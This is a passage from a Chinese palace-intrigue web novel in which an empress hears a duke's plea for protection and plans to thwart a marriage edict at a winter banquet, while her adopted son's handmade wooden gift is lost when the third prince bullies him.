谁知天刚亮,齐子衡也才起床练剑没一会儿,彩环就急匆匆地来摇醒了赵听嫣:“皇后娘娘,娘娘快醒醒!萧国公登门求见!”
虽然早就料到了她昨日在赌坊的那一番折腾,萧国公恐怕不会善罢甘休,可竟然今天一大早天刚亮就登门找事儿,实在是有点太过嚣张了吧?
完全不把她这个皇后放在眼里吗?!
萧国公如今已经是齐渊的眼中钉肉中刺了,这段时间前前后后惹了这么多事,如今还不夹着尾巴做人,竟然连她也要得罪,日子不打算过了?
赵听嫣怒不可遏的梳洗起床,她倒是要看看这个狂妄之徒到底有多大的胆子,逼急眼了非得给他扫黑除恶了不可。
谁知当赵听嫣以战斗姿态怒气冲冲的来到正厅,准备大杀四方的时候,看到的却是一名跪在地上哭唧唧的大汉。
赵听嫣:?
萧国公看到赵听嫣进来,哭声更大了,一边哭一遍叩头:“皇后娘娘!皇后娘娘饶命啊,你我可不是敌人啊!”
赵听嫣有点摸不着头脑。
这是干嘛,苦肉计吗?
萧国公哭着说:“想来也知道皇后娘娘必是也被蒙在鼓里,娘娘是不是也以为臣不愿南下除蛮,是个以国之安危胁迫陛下的逆臣?”
难道不是吗?
萧国公一把鼻涕一把泪,当真是委屈极了:“皇后娘娘明鉴啊!”
“萧家世代忠良,为南齐镇守南疆一百多年,怎会行此不忠不孝不义之举?”
“蛮子杀了我萧家多少人,我们是血海深仇,臣才是最恨不得蛮族不存于世之
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人!”
赵听嫣平静道:“可是你打了半截跑回来了,这你没的说吧。”
萧国公有口难辩,只能可怜兮兮地看向坐在一旁的赵擎:“赵尚书,你替我说说话啊!我们萧赵两家不止于此啊,此次回京我不是还替你背了两箱孤本回来?你帮我给皇后娘娘说清楚啊!”
赵擎环胸冷哼:“从前是如此,可如今有了衡儿,我们立场不同了。”
“怎么就不同了啊——”萧国公都快要以头抢地了,又去看赵听雨,“二小姐你得帮帮我啊!你的商队在南疆遇袭,可都是我们萧家军帮你善后的啊!”
赵听雨一脸严肃:“我们家都听我妹的。”
“她要弄你,我自然站她这边,当初的恩情我可以花钱买断。”
萧国公:……
“我就知道没用……”萧国公回头怒视着身后的副官,“我早说了得负荆请罪,你非说不妥……”
说着就要扒自己衣服。
“等等等等——”
赵听嫣无奈扶额,隐约从几人的对话中听出了一些端倪。
赵家与萧家一家镇北,一家守南,又都是武将世家,从前应当的确关系不错。
转折点大概在赵听嫣入宫为后的半年前。
向来中立的赵家也卷入了皇权的漩涡,那么与支持三皇子的萧家关系自然变得有些微妙了。
再加上前段时间赵听嫣将齐子衡带回坤宁宫,更是表明了争储的决心,萧赵两家必得两立。
可这萧国公言语之间的委屈不似装的。
他也完全没必要特地来赵听嫣面前演这么一出,所以……
赵听嫣蹙眉道:“有人想要杀你?”
萧国公眼睛终于亮了。
他泪眼汪汪地看向伟大的皇后娘娘,朝堂上根本没人信他,他只会打仗,又嘴笨,再加上过去那桩难言的密辛……当是真的有苦说不出。
“皇后娘娘,臣有预感,若是臣此番南下,怕是……怕是会没命。”
看来她没猜错,是有人想要萧国公的命,而能对此等国之股肱下手的人……不用想都知道是谁。
“你仔细说说。”赵听嫣拧眉道。
萧国公叹了口气:“其实臣也没有证据,臣身边没有刺客,也没有叛徒,一切都正常的不得了,可臣就是知道……”
“若是萧家军将蛮族除净,萧家将再无用武之地,那个时候……就是整个萧家的死期。”
萧家世代从武,萧家军更是数十万军士,即便南蛮除尽,皇帝也不大可能卸磨杀驴。
如今南齐国力微弱腹背受敌,正是用兵之际,怎么可能就这样斩了一名能将?
可萧国公如此笃定,又一副有苦难言的模样……除非……
“你们萧家到底拿着陛下什么把柄?”
22.入V通知
赵听嫣只觉得恍然大悟。
她早该猜到的。
狗皇帝阴险狡诈,做事最喜欢当面一套背后一套,事事都是无辜的白莲花做派,实则暗地里算计所有人。
在萧国公和三皇子的事情上,他这般狡猾之人,又怎么可能被萧家拿捏至此?
朝野上下都以为是萧家不忠,以他的行事作风,有没有可能事情完全是相反的状况呢?
他因为一些隐匿的原因不得不除掉萧家,却将自己摆在弱势之位堵住悠悠众口,将萧家塑造成为争储夺嫡的结党叛臣……
萧家才是真的有苦难言。
那个他不得不除掉萧家的隐匿定是萧国公根本无法宣之于口的秘密,亮出来是死,瞒着也得死,左右都无路可走。
世代忠良的萧家被逼到这个份儿上,也只能苍白地向众人解释,他们真的没有不臣之心。
可这话谁又能信呢?
赵听嫣眯着眼睛打量他,顿了顿才道:“罢了,你起来说话,别跪着了。”
又让人给他赐了坐端了茶,这才问他:“你当是彻底求助无门了才对,又是怎么确定本宫愿意帮你的?”
萧国公沉默片刻:“皇后娘娘恐怕还不知,您与臣早就是一条船上的人了。”
赵听嫣:“本宫怎么会跟你一条船?”
萧国公拱手,沉声道:“皇后娘娘,事关重大,这么多年我们萧家一直处在十分被动的位置上。”
“您只要知道,我们萧家不愿南下是为了保命,不想与大公主结亲更是为了保命。”
“若是萧家此番能活,臣定会对娘娘知无不言,马首是瞻!”
萧家也不想与大公主结亲。
萧国公今日之举算是将赵听嫣从前的推测都推翻了,萧家无不在意权力的联合,他们只想要保命的机会。
若是为了除掉萧家,齐渊完全没有必要下嫁大公主,有的是办法逼迫萧国公南下,何必让大公主与其玉石俱焚?
至于大公主的动机就更是让人摸不透了,一场对双方都无益处的联合,大公主又何必如此应心?
太多疑点赵听嫣想不明白,可有一点她很清楚,这趟浑水她必须搅进去。
萧国公就是他打开未知的那把钥匙。
按照萧国公所述,他手中应当是拿着一件让齐渊不得不杀掉他的把柄,这把柄让他进退两难,现在更是被逼到了绝路。
如果将南蛮除尽萧家再无用武之地,齐渊定会对他们下黑手。
可此事也疑点重重。
若萧家真的走投无路,完全可以将齐渊的那个把柄拿出来,左右都得死,玉石俱焚真相大白岂不比被人下了黑手强?
可萧家却秘而不宣,哪怕危在旦夕,也要打碎了牙齿往肚子里咽。
那就只有两种可能了——
在齐渊那个不干净的把柄中,萧家也同样不干净,与其说是萧家拿捏齐渊,倒不如说两人本是同谋,齐渊如今打算让秘密彻底堙灭,自然要毁掉曾经的刀。
而另一种可能则是那个关于齐渊的秘密,萧家也并未完全掌握。
他们只知其一不知其二,即便公之于众,也没有办法翻盘。
按理来说萧家与齐渊的事情和赵听嫣八竿子打不着,即使萧家硬扯着她不放,以她攻略者的身份,在这个南齐王朝左右不过呆十年,十年之后南齐都无了,什么恩怨秘密,不过一抔尘烟。
可萧国公却咬死了说,赵听嫣已经与他站在一条船上。
这就让赵听嫣不得不警惕起来。
这条船半年前为尚未成为皇后的赵听嫣上不去,即便成为皇后,对后宫之事插手甚少的她也不至于站上去。
唯一的变故只能是……齐子衡。
这就麻烦大了。
如果萧国公说的那件让他们成为同船之人的事情与齐子衡有关,那赵听嫣就不得不掺一脚了。
与齐子衡相关,就是与她的任务相关,任何有可能影响她完成任务回到现代的事情,都是顶天的大事。
一切都始于这场赐婚。
所以……该办的事情还是得办。
赵听嫣连着喝了三盏茶,终于向萧国公开了口:“萧国公虎胆龙威,想必萧世子也是个端方君子了。”
萧国公脸色一僵。
看来传闻非虚。
萧国公这些年是闷头咽了不少委屈,但他那不学无术的长子……大概也真的不是个玩意。
赵听嫣与兄姐二人对视一眼,上好的西域神药总不能浪费了不是?
“这事儿吧,总得有人吃点苦头。”
赵听嫣粲然一笑:“萧世子是最佳人选。”
……
冬节将至,凛风褪去了最后一丝温和,给青松的枝叶挂上了一层白霜。
整座皇宫浸透在一片清冽明亮的寒意里。
各宫的地龙已经烧起来,屋子里倒是暖烘烘的,自赵府探亲回宫后,赵听嫣已经很多日没有出过屋门了。
倒是齐子衡日日天不亮就起床勤奋习武,然后才去文华殿听学。
不过小半个月的功夫,应是锻炼身体有了长进,齐子衡个子窜了不少,小身板看起来也比从前结实了。
整座皇宫都在紧锣密鼓地筹备冬节宫宴,虽说忙碌,却没人忘记历年来冬节前夕的传统。
在南齐冬节是比重阳更注重孝道的节日,在冬节前夕,子女们都会为父母备一份礼物。
现代没有这种传统,但赵听嫣还是入乡随俗,备了冬衣让人给远在北疆的威远侯送去,又将南海进贡的一对成色极好的夜明珠送给赵母。
大公主也派人送了礼来,二皇子送了一副山水图,被关禁闭的三皇子也差人送了两串南珠。
赵听嫣是他们名义上的嫡母,流程还是要走一下的。
齐子衡知道赵听嫣怕冷,花了两锭金让人去宫外找猎户搜罗了一衾上好的狐裘,又让尚衣局加工成精巧的围脖,前后花了半个月的功夫,这才送给赵听嫣。
赵听嫣很感动。
以他们这种塑料母子关系,齐子衡如此用心地准备礼物送给她,反倒让她良心受到了那么点小小的谴责,以至于最近几天都不拦着他读书了。
这种难以掌控的情绪是不对的。
可每次看见那条围巾,赵听嫣就得自责一下,于是她干脆把齐子衡送的狐裘围巾与大公主几人送来的礼物一起塞进库房。
可转念一想,库房阴冷潮湿多是些珠宝财物,狐裘放里面发霉了怎么办,怎么说也是齐子衡精心准备的。
于是又差遣彩环将其取了出来,专门找了个箱子装着,塞在床底下。
还放了几块樟脑球。
赵听嫣很快将此事忘到脑后,没几日就要到宫宴了,大事耽误不得。
她早就打听到了,那萧世子私生活相当混乱,不但通房陪侍一大堆,还经常光顾男风馆,身旁有个近身小厮就是半年前从男风馆中带回府的。
宫宴的目的是为了给他与大公主赐婚,这萧世子玩闹惯了自是不愿,但如此庄重的皇家宫宴他也不敢造次,于是打算听从萧母的话老实领旨。
这事情赵听嫣也是与萧国公通过气的。
到底也算是联盟了,总不能真下了药把他儿子扔猪圈里,赵听嫣便让萧国公想办法把那男风馆的小厮带上。
到时候把下了药的萧世子与其关在一处,左右他浪荡名声在外,不过是让皇帝在宫中亲眼目睹一番,捂嘴没办法赐婚罢了。
也不算太丢脸。
赵听嫣这些时日都在忙着与彩环密谋宫宴时的细节,是以并未注意到齐子衡的异常。
每天早晨去文华殿前,齐子衡都会去找赵听嫣道别问安。
可是已经连着许多日了,齐子衡再没见过赵听嫣戴他送的围脖。
他本来只是情绪有些低落,只当自己眼光不好,大抵是围脖的样式不好看皇后娘娘并不喜欢。
可那日去库房领例银的时候,却看到管库造册的太监正在登记库帐,他送给娘娘的狐裘围巾……赫然在列。
与兄姐们送的无关紧要的礼物一样,被毫不在意的丢进了库房里。
齐子衡落寞了几日,但很快说服了自己不要气馁。
皇后娘娘家财万贯,什么奇珍异宝没见过,又怎会将一条狐裘围脖当回事?
那日赌坊警醒之后,他明明已经打算好了,以后要加倍对皇后娘娘好,可回宫之后这段时间,他除了每日问安,每天晚上睡前的捶腿按肩、吃饭的时候帮她剥虾剔鱼刺、好好练剑展示给她看以及一些微不足道的关心之外,好像什么也没做。
他做的还是太少了。
他不该妄想太多,总是想让皇后娘娘像亲娘一样对待他,事实却是他虽从未感受过亲娘的爱,却也知道皇后娘娘为他做的并不比亲娘少。
他不该奢求虚名,他应当知足的。
既然皇后娘娘不喜欢那条狐裘围巾,那就趁着冬节来临之前,送她一样更用心的礼物。
一件不喜欢就再送一件,他会永远保持热忱,相信总有一日会守得云开见月明。
齐子衡暗暗为自己打气后,便思索着该送娘娘什么新的礼物。
最后还是下学时,萧家二少爷替他出了主意,说是他每年都会亲手雕一木雕小像赠予母亲,他母亲欢喜的紧,将它们摆在漆柜之中日日把玩,木雕如今都变得又油又亮。
这是个好主意。
木雕小巧,放在房间里日日都能看到,若是心情好了拿下来把玩,那便会在把玩的时候念着他。
皇后娘娘见过无数珍奇异宝,大抵也很少会有人亲手雕木雕送给她吧?
即便有人送过,齐子衡也要当雕的最精巧、最特别的那一个。
再过两三日便要到冬节了,齐子衡这几日甚至连课外读书的时间都省去了,夜夜熬着油灯,照着萧二少爷给他的图谱篆刻。
木头是他特地去御花园折回来的樱桃木,这种木头虽不贵重,但色泽温润细腻,时间越久颜色会越醇厚。
齐子衡暗暗的想,这木雕色泽每加深一分,就代表他孺慕的情谊加深一份,或许有朝一日,皇后娘娘能感受的到呢?
抱着这样的期待,冬节来了。
终于在宫宴前一晚,齐子衡将木雕做好了。
木雕完成之后需要在其表面涂上一层木蜡油,寻常的木蜡油色泽太重,还有一股难闻的异味,萧二少爷常做木雕,得知齐子衡的顾虑后,愿意将他特制的栀子木蜡油拿来给他用。
这种木蜡油清亮透润,能让木雕保持原有的色泽,还带着一股淡淡的栀子香味,非常好用。
只是时间实在来不及了,萧二少爷便约定在冬节当晚,宫宴开始之前,两人在御花园交接。
待到木蜡油涂好,齐子衡赶在宫宴之前把木雕赠与皇后娘娘,也不算迟。
……
华灯初上,宫宴伊始。
各宫早早悬起了朱色宫灯,暖黄的光晕在宫巷里浮动,与天际最后一道瑰丽的霞光交融。
暮色渐垂之时,大片大片的雪花竟凑热闹般落下,似是想为装点了花灯与彩绸的殿宇更添几分色彩。
赵听嫣今日着了一身朱色凤纹锦缎华裙,妆容雍容恬淡,眉心一点精巧额纹,简直像是天宫高贵的神女。
她是皇后,今日大抵没有人敢比她穿的更华贵了。
赵听嫣本人倒是对自己的穿着不甚在意,她早就为齐子衡备了一身与她同色系的红色缎面棉袍,配上白色毛绒领子的小披风,齐子衡简直被打扮的像个漂亮娃娃。
叮嘱了他几句,赵听嫣就须得去琼华殿招呼王公贵妇们去了。
齐子衡也有些心不在焉,
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小厮传报说萧二少爷已经在御花园候着他了,他只想快些拿到特制的栀子木蜡油,为他藏在袖袋里的木雕上油,然后赶快把礼物送给皇后娘娘。
见赵听嫣已经往琼华殿去,齐子衡便马不停蹄地赶往御花园。
御花园中掌着璀璨华美的宫灯,红白的梅花盛放着,柿子与海棠散发着浓郁的芬芳,展架上摆着宫人们在暖室培育的反季花卉,傲雪盛放,争奇斗艳。
凉亭处还设了曲水流觞,宾客们赏园时可以休憩吃茶。
此时御花园中已有不少人观赏了,齐子衡穿的贵气漂亮,路过的大臣宫人们都毕恭毕敬地向他行礼。
齐子衡心中急迫,不想被打扰,便抄了人少的小路,很快在一处假山小池旁看到的萧家二少爷。
萧二少爷名叫萧瑜,比齐子衡年长六岁,小小年纪已经有了芝兰玉树贵公子的模样。
虽说萧家与三皇子一党,但萧瑜往日在学堂中行事一直很是低调,倒是鲜少做树敌之事。
对齐子衡也并未有过半分不敬。
此时他见到齐子衡过来,便连忙过来拱手行礼:“四殿下。”
说着从怀中掏出一只精巧木盒,木盒中装的就是他说的栀子木蜡油。
他又拿出一只小刷子,对齐子衡道:“四殿下,您将木雕给我,我来帮您上油。”
齐子衡捏紧袖口中的木雕,犹豫了片刻:“我还是自己来吧。”
这是他送给皇后娘娘的礼物,他不想像那条狐裘一样假手他人,免得皇后娘娘不喜。
于是萧瑜便打开蜡油盒,用小刷子沾着木蜡油交给齐子衡,自己则在一旁指点一二。
二人研究的认真,并未发现有人靠近,直到萧瑜身后响起一道轻蔑的嘲笑声:“我当是谁呢?什么时候庶子也能来参加这等高贵的宫宴了?”
萧瑜背脊一僵,面色沉了沉,只得回头作礼:“见过长兄。”
“见过三殿下。”
齐子衡闻声抬头,只见一行锦袍华带的贵公子朝二人而来,为首的那位年约二十出头,面色虚浮轻佻,萧瑜叫他长兄,应当就是那位鼎鼎大名的萧世子了。
齐子衡倒是并未有心探及萧瑜的家事,只是他家后宅不和之事常被人议论,他的长兄萧世子乃是正房萧大夫人嫡出,平日被大夫人纵的顽劣不堪,纨绔名声在外。
而萧瑜的母亲只是萧家妾室,萧国公子嗣不旺,萧家长辈便买了萧瑜的母亲回来。
这母子二人在萧国公府一直谨小慎微,可奈何萧世子实在是太没出息,萧瑜又聪慧伶俐,即便刻意藏拙也难免被大夫人针对。
此时在宫中萧世子便敢如此出言不逊,可想而知在家中萧瑜到底吃了多少苦头。
萧瑜性情温润,又帮了他不少,齐子衡当然不忍坐视不管:“萧世子慎言,萧瑜伴读有功,没什么宫宴是他不能参加的。”
萧世子脸色一哂,碍于齐子衡皇子的身份没有反驳,但脸上绝无半分服气的模样。
倒是他身旁的三皇子齐子路狠狠呸了一声:“他伴读也是给本殿下伴读,有你什么事情?!”
齐子路恶狠狠的眼神略过萧瑜,像是在憎恶他的背叛。
不过比起微不足道的萧瑜,齐子路更讨厌的还是他这位四弟,他和母妃因为这个臭小子被禁足了两个多月,要不是此次宫宴盛大,父皇还不知道要把他们关到什么时候。
就算没有萧世子发难,他也是要找到齐子衡讨个说法的。
眼下机会正好,怎么有放过的道理?
“有些人跟老鼠似的啃了四五年窝窝头,真以为自己飞上枝头了?天生卑劣之人就是喜欢厮混在一起,萧瑜,本殿下给的机会你不要,偏偏要与这阴沟里的老鼠凑到一起……”
“哼,庶子与老鼠,倒是绝配!”
“哈哈哈哈……”
“还真当自己是皇子了……”
“一个庶出,一个没人要的……”
齐子路与萧世子几人哄笑成一团,口口声声都是庶子、老鼠之类的词句。
齐子衡手指捏成拳头,小小少年的眉眼上竟已染了几分凌厉:“若真论嫡庶,三哥,你我二人……到底谁嫡谁庶?”
齐子衡的身世虽然人云亦云,可在宗人府的册案上,他可是先皇后宋玉的孩子,与大公主是一脉。
现在更是被现任皇后赵听嫣养在坤宁宫,不管如何论及,他才是正统的嫡氏血脉。
齐子路也意识到了这一点,脸色僵了一瞬,很快出言不逊起来:“就你?谁知道你娘是哪个,是不是真皇子还遑论呢!”
齐子路越想越气,干脆凑近了些,抬手搡了齐子衡一下。
齐子衡手中捏着木雕藏在袖摆之下,猛地被推,涂满木蜡油的木雕就此滑溜溜地脱手而出,掉在地上蹦跶了几下,径直落在一旁的池水之中。
“我的木雕!”齐子衡张皇失措,急匆匆地就想跳下去捞。
幸而一旁的萧瑜抱住了他:“四殿下别急!池水太冷,跳下去会生病的,臣这就去找人来帮您打捞……”
齐子路也紧张了一瞬,可看到齐子衡这么着急的样子,心里顿时痛快了不少,故意讥讽他:“一个破木雕这么宝贝?难道是……”
“该不会冬节你就给皇后娘娘送这么个破木头吧?”
“哈哈哈哈还真是穷酸人送穷酸礼,这你也拿得出手!”
“三殿下,他哪像您似的,宣妃娘娘把您当眼珠子似的疼,他从小没娘教导,自然觉得什么破烂玩意都是好的……”
众人哄笑着,极大的满足了齐子路的虚荣心,他居高临下地看着趴在池边的齐子衡,嗤笑道:“还说自己是嫡子,我看你就是个没人要的野种!”
“齐子衡,真以为讨好讨好皇后娘娘你就有靠山了吗?清醒点吧!”
“你根本没有娘——”